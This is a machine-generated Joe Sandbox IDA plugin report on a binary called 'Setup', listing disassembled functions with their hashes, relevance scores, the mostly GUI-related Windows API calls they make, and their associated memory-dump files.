Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Variant$ChangeClearH_prolog3H_prolog3_catch_Type_memcpy_s_strlen
String ID:
API String ID: 961710286-0
Opcode ID: 2eec151fa16dc5cc17e62bc87c765f06ca45b800792a4de91e14708ebc57806a
Instruction ID: ee7362d36107630df2f1fbf8e111b4a2333be812a84d9b2c4286dc398e6cbce3
Opcode Fuzzy Hash: 2eec151fa16dc5cc17e62bc87c765f06ca45b800792a4de91e14708ebc57806a
Instruction Fuzzy Hash: 47B18B75D00219EBCF10DFA8D8809EEBBF5FF08714B1480AAF855A7251C73A9E42DB64

Function 00B6B1F2 Relevance: 7.7, APIs: 5, Instructions: 155COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00B6B1F9
GlobalLock.KERNEL32(00000000), ref: 00B6B2FE
DestroyWindow.USER32(?,?,?,?,00B6AFCE,00000000), ref: 00B6B3CF
GlobalUnlock.KERNEL32(00000000), ref: 00B6B3DC
GlobalFree.KERNEL32(00000000), ref: 00B6B3E3

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Global$DestroyFreeH_prolog3_catchLockUnlockWindow
String ID:
API String ID: 571947920-0
Opcode ID: 7a0b04466c23e2714bf1b5ae44767b921e43b138dbcf0aa12089127c3a15f87a
Instruction ID: 6cd084418d01dbec0a1cd29c2924797bfa12d1d159dfdd4ed50f997b92ef2031
Opcode Fuzzy Hash: 7a0b04466c23e2714bf1b5ae44767b921e43b138dbcf0aa12089127c3a15f87a
Instruction Fuzzy Hash: 56515D31E0121ADFCF05EFA4C995BAEBBF4EF08710F140199E911A72A1DB789E41CB95

Function 00BA39B1 Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

CallNextHookEx.USER32(00000000,?,?), ref: 00BA39CB

Part of subcall function 00B68B3E: __CxxThrowException@8.LIBVCRUNTIME ref: 00B68B52

Part of subcall function 00BB64E0: GetKeyboardState.USER32(?), ref: 00BB64FA
Part of subcall function 00BB64E0: GetKeyboardLayout.USER32(?), ref: 00BB651F
Part of subcall function 00BB64E0: MapVirtualKeyW.USER32(00000000,00000000), ref: 00BB653D
Part of subcall function 00BB64E0: ToUnicodeEx.USER32(00000000,00000000), ref: 00BB6547

Part of subcall function 00BB6726: GetAsyncKeyState.USER32(00000012), ref: 00BB674D
Part of subcall function 00BB6726: GetAsyncKeyState.USER32(00000012), ref: 00BB676B

Part of subcall function 00B9ADC9: SendMessageW.USER32(?,00000100,00000024,00000000), ref: 00B9AE2B

WindowFromPoint.USER32(?,?), ref: 00BA39F5
ScreenToClient.USER32(?,00000000), ref: 00BA3A26
GetParent.USER32(?), ref: 00BA3A8B
UpdateWindow.USER32(?), ref: 00BA3AF1

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: State$AsyncKeyboardWindow$CallClientException@8FromHookLayoutMessageNextParentPointScreenSendThrowUnicodeUpdateVirtual
String ID:
API String ID: 4160895920-0
Opcode ID: 16b7a7c56f5259aea66d4c0dae092974e93951e83985c00ef4e1d9c090332ae9
Instruction ID: 9fc6bcce98e0570ab2d642d7c93d0c3a3641f1cbc26adfa0e6d0112f64014c76
Opcode Fuzzy Hash: 16b7a7c56f5259aea66d4c0dae092974e93951e83985c00ef4e1d9c090332ae9
Instruction Fuzzy Hash: 3551BA35614605AFDB24AFA0DC85EAE7FFAFF46710F1401BAF815922A1DB319E01DB60

Function 00BA810A Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

GetClientRect.USER32(00000000,00B87797), ref: 00BA8139

Part of subcall function 00B6C728: ClientToScreen.USER32(?,00BA814A), ref: 00B6C737
Part of subcall function 00B6C728: ClientToScreen.USER32(?,00BA8152), ref: 00B6C744

PtInRect.USER32(00B87797,?,?), ref: 00BA8153
PtInRect.USER32(?,?,?), ref: 00BA81CC

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ClientRect$Screen
String ID:
API String ID: 3187875807-0
Opcode ID: 51cecc5759bc99cb2ba002996de7ce3ca6bc6d8fbac8ad2e5f7add0b4cc1620d
Instruction ID: 4e60a21477acb16d743004e85f8f94acd3bccb9478cfbae06371b512ff946db5
Opcode Fuzzy Hash: 51cecc5759bc99cb2ba002996de7ce3ca6bc6d8fbac8ad2e5f7add0b4cc1620d
Instruction Fuzzy Hash: 0E41F071A0460AEFCF10CFA4D984AAEBBF5FF09344F104479E945FB654DA319A419B60

Function 00CB8B6E Relevance: 7.6, APIs: 5, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00CB8BDC
_free.LIBCMT ref: 00CB8BFC
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 00CB8C5D
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 00CB8C6F
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 00CB8C7C

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: __crt_fast_encode_pointer$_free
String ID:
API String ID: 366466260-0
Opcode ID: dae54ae83a2f93a87ce552d0b4343efd679123babbbe2c2e444b11664511a6f7
Instruction ID: e77852f57dcfa81d3dad9052e71ab2e77aece4903017a5c15f3cbd96ea58aae7
Opcode Fuzzy Hash: dae54ae83a2f93a87ce552d0b4343efd679123babbbe2c2e444b11664511a6f7
Instruction Fuzzy Hash: 3E412972A012009FCB14DF78C880AAEB7FAEF89704F1545A8E525EB341DB31EE05DB90

Function 00B945A3 Relevance: 7.6, APIs: 5, Instructions: 118memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000010), ref: 00B94619
SysAllocString.OLEAUT32(00000010), ref: 00B94641
SysAllocString.OLEAUT32(00000000), ref: 00B94666
SysAllocString.OLEAUT32(00000000), ref: 00B9469A
SysAllocString.OLEAUT32(00000000), ref: 00B946D3

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 7000e4f81e3b70b12d0462edefda8cb52099d0cb8f3639b97bad978bc9b08c41
Instruction ID: 23bce7f08e8206e3cc4b0c4cb44a4f24cb12a638e295764e851e1b0d1b64478b
Opcode Fuzzy Hash: 7000e4f81e3b70b12d0462edefda8cb52099d0cb8f3639b97bad978bc9b08c41
Instruction Fuzzy Hash: 09416E759006159FCB15EF60C889AA9B7F4FF05310F0082EAE925972A2DF38ED45CF91

Function 00B9F352 Relevance: 7.6, APIs: 5, Instructions: 116windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 00B9F39C
GetParent.USER32(?), ref: 00B9F3B7
GetParent.USER32(?), ref: 00B9F3E5
UpdateWindow.USER32(?), ref: 00B9F479
SendMessageW.USER32(?,00000362,0000E001,00000000), ref: 00B9F4B6

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Parent$FocusMessageSendUpdateWindow
String ID:
API String ID: 2438739141-0
Opcode ID: e9ce3d290b2214e1edbdc9fbb9c39a84300c18694d582de4a7e3e90eeef8bec1
Instruction ID: f4bcd7a7d939636e55443c4982c74c8d255a9a31153a0ca45e7d9e1d0521bc21
Opcode Fuzzy Hash: e9ce3d290b2214e1edbdc9fbb9c39a84300c18694d582de4a7e3e90eeef8bec1
Instruction Fuzzy Hash: 4641BF31611612ABCF116F348C98B3E3BE5EB44771B1402B9E926DB3A6CB3899018B95

Function 00B9DC48 Relevance: 7.6, APIs: 5, Instructions: 113COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(?,00007904), ref: 00B9DC80
LoadCursorW.USER32(?,00007905), ref: 00B9DCB3
LoadCursorW.USER32(00000000,00007F86), ref: 00B9DCDE
CreatePen.GDI32(00000000,00000001,?), ref: 00B9DD56

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CursorLoad$Create
String ID:
API String ID: 1516763891-0
Opcode ID: 449bdf2138101f5674ab9d1f57aa2fd185f7cb577b3cff47919901b59ff9ada3
Instruction ID: 1917986f150aae4e95e3fcc3a05b208afde822930ff47e82ade18a9ff13d02a9
Opcode Fuzzy Hash: 449bdf2138101f5674ab9d1f57aa2fd185f7cb577b3cff47919901b59ff9ada3
Instruction Fuzzy Hash: 1D318F71A40201AFDE217BB69C8AF7D36E9EF44350F1441F6F9059B293EF788801CA62

Function 00C03806 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7589D: GetWindowLongW.USER32(?,000000F0), ref: 00B758AA

GetWindowRect.USER32(?,?), ref: 00C03838
GetSystemMetrics.USER32(00000021), ref: 00C03840
GetSystemMetrics.USER32(00000020), ref: 00C0384A
GetKeyState.USER32(00000002), ref: 00C0386F
InflateRect.USER32(?,00000000,00000000), ref: 00C038A6

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: MetricsRectSystemWindow$InflateLongState
String ID:
API String ID: 2406722796-0
Opcode ID: b4478e1c44cc1563f2ad9bfd5bf51b6e264b6ceaf61d199f27260d1c0d713683
Instruction ID: 0ef444df4ce6588c77bc5356d3e27302f6a836ce27694923791851a1ee6c3718
Opcode Fuzzy Hash: b4478e1c44cc1563f2ad9bfd5bf51b6e264b6ceaf61d199f27260d1c0d713683
Instruction Fuzzy Hash: 77318E71A00159ABDB14DFBCD889BAEB7B8EB09350F14866AE426EB1D0D674DB40C781

Function 00B9FBDF Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(00000000), ref: 00B9FC06
ScreenToClient.USER32(?,00000000), ref: 00B9FC34
ScreenToClient.USER32(?,?), ref: 00B9FCA2
PtInRect.USER32(00000000,?,?), ref: 00B9FCD3
SetCursor.USER32(?), ref: 00B9FD07

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ClientCursorScreen$Rect
String ID:
API String ID: 1082406499-0
Opcode ID: 6fcbc7fa8954c7e0b81542a683d852214764a5d6e707132188e4098c8fb5380d
Instruction ID: 8b2890672c47693d1471fd9f3998b7ec5692053b0c497a64398a3f84df5cb30c
Opcode Fuzzy Hash: 6fcbc7fa8954c7e0b81542a683d852214764a5d6e707132188e4098c8fb5380d
Instruction Fuzzy Hash: 21415B31A1120AEFCF15DBA0C989BBEB7B5FF08325F10417AE811E7250DB74A941CBA1

Function 00BAD799 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00BAD7EA

Part of subcall function 00B754E4: GetWindowLongW.USER32(?,000000EC), ref: 00B754F1

OffsetRect.USER32(?,?,00000000), ref: 00BAD846
UnionRect.USER32(00000000,?,?), ref: 00BAD864
EqualRect.USER32(00000000,?), ref: 00BAD872
UpdateWindow.USER32(?), ref: 00BAD8A6

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Window$EqualLongOffsetUnionUpdate
String ID:
API String ID: 4261707372-0
Opcode ID: 80b4ab066934b22e02d80f231dbd7069ab4e3a452f0d1bac7a8a05af00917e3e
Instruction ID: b8bee4598299086ea146bfe42d5ae538635503381498db4f47b11961bfb36fa0
Opcode Fuzzy Hash: 80b4ab066934b22e02d80f231dbd7069ab4e3a452f0d1bac7a8a05af00917e3e
Instruction Fuzzy Hash: 47311AB5A0161AEBCB14DFA5D944ADEFBF9FF48310F104266E419E2260DB749A11CFA0

Function 00BA6D98 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00BA6DE1
GetClientRect.USER32(?,?), ref: 00BA6E12
PtInRect.USER32(?,?,?), ref: 00BA6E2A
MapWindowPoints.USER32(?,?,?,00000001), ref: 00BA6E53
SendMessageW.USER32(?,00000200,?,?), ref: 00BA6E72

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$ClientCursorMessagePointsSendWindow
String ID:
API String ID: 1257894355-0
Opcode ID: 5b1adba558e84d3c1bc85aa353f9ae3072366f88aaaaf0fce461d7c461f21a59
Instruction ID: 0d9b37ef228977ffc88fccc9ed214d3383344fb7c536967efa95f7b074fa73a0
Opcode Fuzzy Hash: 5b1adba558e84d3c1bc85aa353f9ae3072366f88aaaaf0fce461d7c461f21a59
Instruction Fuzzy Hash: 833171B5A0460AEFCF149F64CC849BEBBB5FF04310B14456EF82696260D731EA21DFA0

Function 00B73451 Relevance: 7.6, APIs: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B7345B
GetTopWindow.USER32(?), ref: 00B73488
GetDlgCtrlID.USER32(00000000), ref: 00B7349A
SendMessageW.USER32(?,00000087,00000000,00000000), ref: 00B734F5
GetWindow.USER32(00000000,00000002), ref: 00B73537

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
